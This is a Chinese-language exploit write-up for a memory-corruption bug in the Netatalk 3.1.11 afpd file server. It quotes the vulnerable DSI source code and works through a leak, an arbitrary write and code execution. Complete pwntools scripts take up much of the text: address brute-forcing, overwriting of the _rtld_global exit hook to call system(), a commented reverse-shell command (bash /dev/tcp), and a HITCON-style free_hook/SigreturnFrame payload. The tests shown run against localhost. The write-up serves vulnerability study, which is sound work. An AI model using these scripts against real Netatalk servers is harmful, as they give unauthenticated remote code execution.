0x00 前言

今天看到一个很经典的cve,顺便写一篇博客
漏洞是利用memcpy长度没限制导致的越界写,可覆盖关键变量,导致有一次任意地址写

原文:Exploiting an 18 Year Old Bug

源码:Netatalk3.1.11

0x01 源码

为了调试方便直接下载好二进制、配置文件、运行库,这样就无需自己编译和安装依赖性
我的本地是Ubuntu18.04,配置文件:

1
2
3
4
5
[Global]
afp port = 5566
disconnect time = 0
max connections = 1000
sleep time = 0

Netatalk是AppleTalk的开源实现方案,可以用作文件服务器来实现文件共享,afpd是其中的一个组件,类似于httpd的拿来做通信的部分,源码目录的./etc/afpd子目录为相关源码树。

看一些关键函数:
dsi_tcp_open()

该函数首先会调用fork()函数建立新的子进程,并在子进程中执行如下逻辑:先从TCP会话中读取DSI header到结构体dsi->header,之后读取DSI payload内容放在dsi->commands指向的buf中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
static pid_t dsi_tcp_open(DSI *dsi)
{
pid_t pid;
SOCKLEN_T len;

len = sizeof(dsi->client);
dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

......

if (dsi->socket < 0)
return -1;

getitimer(ITIMER_PROF, &itimer);
/* 建立子进程 */
if (0 == (pid = fork()) ) { /* child */
static struct itimerval timer = { {0, 0}, {DSI_TCPTIMEOUT, 0}};
struct sigaction newact, oldact;
uint8_t block[DSI_BLOCKSIZ];
size_t stored;

......

dsi_init_buffer(dsi);

/* read in commands. this is similar to dsi_receive except
* for the fact that we do some sanity checking to prevent
* delinquent connections from causing mischief. */

/* 先读两个字节 */
len = dsi_stream_read(dsi, block, 2);
if (!len ) {
/* connection already closed, don't log it (normal OSX 10.3 behaviour) */
exit(EXITERR_CLOSED);
}
if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
exit(EXITERR_CLNT);
}

/* 读取DSI header剩下内容 */
stored = 2;
while (stored < DSI_BLOCKSIZ) {
len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

/* 将DSI header的内容依次赋值给dsi-header结构体 */
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* 读取payload内容到commands指针指向的buf中 */
stored = 0;
while (stored < dsi->cmdlen) {
len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

......

/* send back our pid */
return pid;
}

dsi_getsession()

该函数开启一个DSI会话,从TCP socket接收会话消息,保存至结构体DSI中。 函数首先调用dsi->proto_open(dsi)进行TCP消息的接收和处理,该函数实体为dsi_tcp_open()。根据返回值是父进程还是子进程,进入不同的处理逻辑。父进程则直接返回,继续监听,子进程则进入之后的DSI消息处理逻辑,根据dsi_command的值,选择不同的处理方式,若dsi_command为DSIFUNC_OPEN,则调用dsi_opensession()函数,初始化DSI会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
......

switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
case -1:
/* if we fail, just return. it might work later */
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
return -1;

case 0: /* child. mostly handled below. */
break;

default: /* parent */
/* using SIGKILL is hokey, but the child might not have
* re-established its signal handler for SIGTERM yet. */

......

dsi->proto_close(dsi);
*childp = child;
return 0;
}

......

switch (dsi->header.dsi_command) {
case DSIFUNC_STAT: /* send off status and return */
......

case DSIFUNC_OPEN: /* setup session */
/* set up the tickle timer */
dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
dsi_opensession(dsi);
*childp = NULL;
return 0;

default: /* just close */
LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
dsi->proto_close(dsi);
exit(EXITERR_CLNT);
}
}

dsi_opensession()

函数首先根据commands[0]的内容决定处理逻辑,若为DSIOPT_ATTNQUANT,则执行memcpy,以commands[1]为大小,将commands[2]之后的内容拷贝至DSI结构体的attn_quantum成员变量(4 bytes)。之后程序会构建新的DSI消息到dsi->commands中,将server_quantum的值返回给客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;

......

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}

/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = 0;
/* dsi->header.dsi_command = DSIFUNC_OPEN;*/

dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

/* DSI Option Server Request Quantum */
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN ||
dsi->server_quantum > DSI_SERVQUANT_MAX ) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));

/* AFP replaycache size option */
offs = 2 + sizeof(i);
dsi->commands[offs] = DSIOPT_REPLCSIZE;
dsi->commands[offs+1] = sizeof(i);
i = htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands + offs + 2, &i, sizeof(i));
dsi_send(dsi);
}

漏洞点也就在这个函数内,

1
2
3
4
5
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT: // #define DSIOPT_ATTNQUANT 0x01
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

memcpy的长度参数 dsi->commands[i] 由外部传入,且没检查大小,导致可溢出到DSI结构体中attn_quantum的后续成员。

1
2
3
4
5
6
7
8
#define DSI_DATASIZ       65536

typedef struct DSI {
...
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */

但可见成员 commands 的类型为uint8_t*,所以memcpy的最大长度是0xff。并且由于 DSI_DATASIZ 为65535,所以溢出部分data后就无法向后溢出了,故最终只能溢出如上这些成员变量。

利用之前先搞懂dsi是什么:Data Stream Interface,按照协议格式可以构造其各个字段

1
2
3
commands = "\x01"   // DSIOPT_ATTNQUANT 选项的值
commands += "\x80" // 数据长度
commands += "\xaa" * 0x80

于是明白之后,我们可以交互试一下,构造一个dsi数据包,并给发送给目标的tcp端口(本地测试),看看能否返回server_quantum的值。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)
cmd = b'\x01'+ p8(0xc)+ b'a'*8 + b'bbbb'
dsi = b'\x00\x04\x00\x01' #header部分的字段意义见原文
dsi += p32(0)
dsi += p32(len(cmd))
dsi += p32(0)
dsi += cmd
io.send(dsi)
io.recv()

image-20220107153501796

测试确实可以收到bbbb

image-20220107155401775

0x02 漏洞利用

漏洞点1:

接下来具体看一下内存情况,继续使用上面的脚本,启动gdb找到bbbb

image-20220107160010721

对应DSI的结构体,可以知道0x00007f5f3d6c8010即commands,再看一下内存布局

img

该地址和libc地址比较相近,所以段基址都是4k页对齐,爆两个字节,最差65536次就可以了

从低位开始,依次覆盖commands指针的各个字节。当修改后的commands指针是一个可写的地址时,dsi_opensession()函数可以将server_quantum的值放进来并返回给我们,否则,子进程会由于访问不可写的地址而崩溃,socket异常。故,可以通过观察服务器是否给我们返回来确定当前我们是否爆破出一个合法的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def boom():
leak = b''
for j in range(8):
for i in range(256):
if(j>2 and j<6): i = 255 - i
io = remote(ip,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(create_dsi(payload))
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)

leak_addr = boom()

至于为什么3-6位从0xff到0x00爆是为了计算偏移时方便一点,结果更接近libc_base,且地址较高

image-20220107165016414

image-20220107165049214

在本地测试的方便之处在于可以很方便地找到libc基址,可是远程就没那么容易了,不知道机器版本的情况跨如何知道具体偏移呢,可以先在本地测试攻击方法,本地成功之后再远程爆破,直到远程成功为止

1
2
3
leak_addr = 0x7f5f3d138000
for i in range(0x0000000,0xffff000,0x1000):
libc_addr = leak_addr - i

为了方便,本文只在本地进行测试,所以假设现在已经拥有了libc基址,可以控制commands,下一步利用任意写漏洞,

漏洞点2:

dsi_stream_receive()

该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中,长度由dsi->cmdlen指定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];

LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

if (dsi->flags & DSI_DISCONNECTED)
return 0;

/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];

if (dsi->header.dsi_command == 0)
return 0;

memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

/* 将header之后的payload读取到commands指向的内存中 */
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

return block[1];
}

谈一下后续流程,commands通过一个定义在etc/afpd/switch.c名叫afp_switch的全局跳转表指针(指向具有255个项的跳转表)来在系统中传递。跳转表中每一个项要么是NULL(表示没有实现),要么是一个函数(用于处理commands里的AFP数据)。

读取完毕后若cmd=2(DSIFUNC_CMD),则以dsi->commands[0]为索引,err = (*afp_switch[function])(obj,(char *)dsi->commands, dsi->cmdlen,(char *)&dsi->data, &dsi->datalen);,调用afp_switch函数表的指针。

1
2
3
4
5
6
7
8
9
10
function = (u_char) dsi->commands[0];
if (afp_switch[function]) {
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}

afp_switch指向两种跳转表中的一个。一个名叫preauth_switch,它包含了未认证用户仅能调用的四个函数,preauth_switch也是默认的afp_switch表。另一个名叫postauth_switch,当用户进行认证后,它被换入到afp_switch中。

这里的结构是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
NULL, afp_bytelock, afp_closevol, afp_closedir,
afp_closefork, afp_copyfile, afp_createdir, afp_createfile, /* 0 - 7 */
afp_delete, afp_enumerate, afp_flush, afp_flushfork,
afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo, /* 8 - 15 */
afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
afp_logout, afp_mapid, afp_mapname, afp_moveandrename, /* 16 - 23 */
afp_openvol, afp_opendir, afp_openfork, afp_read,
afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
/* 24 - 31 */
afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */
afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
afp_null, afp_null, afp_null, afp_null, /* 40 - 47 */
afp_opendt, afp_closedt, afp_null, afp_geticon,
afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl, /* 48 - 55 */
afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
NULL, NULL, NULL, NULL, /* 56 - 63 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 64 - 71 */
NULL, NULL, NULL, NULL,
NULL, NULL, afp_syncdir, afp_syncfork, /* 72 - 79 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 80 - 87 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 88 - 95 */
NULL, NULL, NULL, NULL,
afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL, /* 96 - 103 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 104 - 111 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 112 - 119 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 120 - 127 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 128 - 135 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 136 - 143 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 144 - 151 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 152 - 159 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 160 - 167 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 168 - 175 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 176 - 183 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 184 - 191 */
afp_addicon, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 192 - 199 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 200 - 207 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 208 - 215 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 216 - 223 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 224 - 231 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 232 - 239 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 240 - 247 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 248 - 255 */
};

有了dsi_stream_receive(),我们就可以先通过memcpy覆写dsi->commands指针,再通过dsi_stream_read实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(endian='little')

ip = "127.0.0.1"
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi

def send2(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(create_dsi(payload))
io.recv()
io.send(create_dsi(data))

leak_addr = 0x7f5f3d138000
# 0x7f5f3d138000 - 0x817000
raw_input()
log.success(hex(leak_addr))
io = remote(ip,port)
send2(io,leak_addr,"deadbeef")

查看内存,目标地址已被成功修改

image-20220107171022664

漏洞点3:

有了前两个条件,最后一步就可以进行精准打击了,free_hook可以的,之前hitcon2019用的方法就是freehook,这里用一种新学的方法,世人称之为exit_hook

这里简单记录一下原理,写个exit()的程序,跟进会知道它的具体流程

image-20220107174429000

image-20220107174612941

这里的<_dl_fini+105>是rtld_lock_default_lock_recursive函数,rdi是_rtld_gobal+2312

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));

image-20220107183237588

调用了两个关键的函数,如上,这两个函数在_rtld_global结构体里面,也就是说如果我们能改写这两个函数其中一个就能控制流劫持并控制参数

函数指针:_dl_rtld_lock_recursive (_rtld_global+3840)

调用参数:_dl_load_lock (_rtld_global+2312)

image-20220107183731986

所以只要有一次任意地址写大小0x600字节就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(endian='little')

ip = "127.0.0.1"
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi

def send2(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(create_dsi(payload))
io.recv()
io.send(create_dsi(data))

leak_addr = 0x7f5f3c921000
# 0x7f5f3d138000 - 0x817000
log.success(hex(leak_addr))
raw_input()
libc.address = leak_addr
rtld = libc.address + 0xed4060
#cmd = b'bash -c "bash -i>& /dev/tcp/ip/port 0<&1"'
cmd = "cat /home/ld1ng/Desktop/netatalk/flag.txt"
# cmd = "/bin/zsh"
io = remote(ip,port)
send2(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))

改写后cmd成为system函数的参数,当程序exit后即可拿到shell

image-20220107184859828

image-20230517215417789


最后说一下free_hook的方法,hitcon2019官方的解法,布局比较复杂,用到了两个gadget

覆写__free_hook__libc_dlopen_mode+56

image-20220108141300714

覆写_dl_open_hook_dl_open_hook+8_dl_open_hook+8fgetpos64+207的这个magic_gadget

image-20220108141653927

mov rdi,rax ; call QWORD PTR [rax+0x20],此时因为rdi指向dl_open_hook+8。我们可以将dl_open_hook+0x20处修改为setcontext+53,从而实现任意函数执行。

在dl_open_hook后面布置sigFrame,最终触发err时的free,调用system(cmd)执行反弹shell

借用大佬的布局图:

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
sigframe = SigreturnFrame()
sigframe.rip = system_addr
sigframe.rdi = free_hook + 8 # cmd
sigframe.rsp = free_hook # must be a writable address, as the stack of system func

payload = b''.ljust(0xF, b'\x00') # padding
payload += p64(libc_dlopen_mode_56) # __free_hook, after this rop, rax = *dl_open_hook = dl_open_hook + 8
payload += cmd.ljust(0x2bb8, b'\x00') # __free_hook + 8
payload += p64(dl_open_hook + 8) # dl_open_hook, *dl_open_hook = dl_open_hook+8, **dl_open_hook = fgetpos64+207
payload += p64(fgetpos64_207) # _dl_open_hook+8, let rdi = rax = _dl_open_hook + 8
payload += b'A' * 0x18
payload += p64(setcontext_53) # dl_open_hook + 0x28 = rax + 0x20, call [rax+0x20] = setcontext+53
payload += bytes(sigframe)[0x28:] # now rdi = dl_open_hook + 8, thus we cut the offset from rdi to this pos

0x03 小结

转眼2022年了,水平还是太菜代码看的好累,据说这个CVE是原作者在飞机上三个小时发现的…膜拜,写完博客感觉还是有收获的